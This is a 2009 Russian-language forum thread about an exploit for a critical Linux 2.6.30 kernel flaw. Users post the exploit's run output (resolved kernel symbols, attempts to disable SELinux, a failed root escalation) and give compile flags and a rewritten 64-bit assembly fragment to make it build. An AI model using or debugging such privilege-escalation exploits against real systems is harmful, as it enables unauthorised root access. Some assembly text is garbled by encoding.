The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Эксплоит для неисправленной в Linux ядре 2.6.30 критической ..., opennews (??), 17-Июл-09, (0) [смотреть все] +1

Сообщения [Сортировка по времени | RSS]


6. "Эксплоит для неисправленной в Linux ядре 2.6.30 критической ..."  +/
Сообщение от Аноним (-), 17-Июл-09, 23:48 
чет не получается
при компиляции выдает
exploit.c: Assembler messages:
exploit.c:455: Error: Incorrect register `%rax' used with `l' suffix
gcc -v
Целевая архитектура: x86_64-redhat-linux
gcc версия 4.4.0 20090506 (Red Hat 4.4.0-4) (GCC)
Ругается на
    asm volatile (
    " movl %%esp, %Йx;"
    " andl %1, %Йx;"
    " movl (%Йx), %0;"
    : "=r" (current)
    : "i" (0xfffff000)
    );
если заменить
" movl (%Йx), %0;"
на
" mov (%Йx), %0;"
компилится, но exploit тогда не работает
./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved tun_fops to 0xffffffffa0b74830
[+] Resolved selinux_enforcing to 0xffffffff81872374
[+] Resolved nf_unregister_hooks to 0xffffffff8132b9fa
[+] Resolved security_ops to 0xffffffff8186fb20
[+] Resolved default_security_ops to 0xffffffff8159f090
[+] Resolved sel_read_enforce to 0xffffffff81189104
[+] Resolved audit_enabled to 0xffffffff8182c804
[+] Resolved commit_creds to 0xffffffff81061597
[+] Resolved init_cred to 0xffffffff8158fa10
[+] *0xffffffffa0b74888 |= 1
[+] b00m!
[+] Disabled security of : nothing, what an insecure machine!
[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?

Где что не так?

Ответить | Правка | Наверх | Cообщить модератору

9. "Эксплоит для неисправленной в Linux ядре 2.6.30 критической ..."  +/
Сообщение от alex (??), 18-Июл-09, 00:49 
Во всем, конечно, виноваты x64. Новы не расстраивайтесь. Дефолтный RHEL5 не уязвим. Уязвимость добавили ( бэкпортировали :-) ) в тестовых ядрах, которые могли попасть в 5.4.
Но теперь не попадет.

Ответить | Правка | Наверх | Cообщить модератору

13. "Эксплоит для неисправленной в Linux ядре 2.6.30 критической ..."  +/
Сообщение от pavlinux (ok), 18-Июл-09, 08:02 
>чет не получается
>при компиляции выдает
>exploit.c: Assembler messages:
>exploit.c:455: Error: Incorrect register `%rax' used with `l' suffix
>Где что не так?

gcc -m32 exploit.c -o exploit

А 64 битная будя так

static inline unsigned long get_current(void)
{
        unsigned long current;

        asm volatile (
        " movq %%rsp, %%rax;"
        " andq %1, %%rax;"
        " movq (%%rax), %0;"
        : "=r" (current)
        : "i" (0xfffff000)  /* вот тут надо разбираться,  старшие нужны или младшие */
        );
        return current;
}

Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру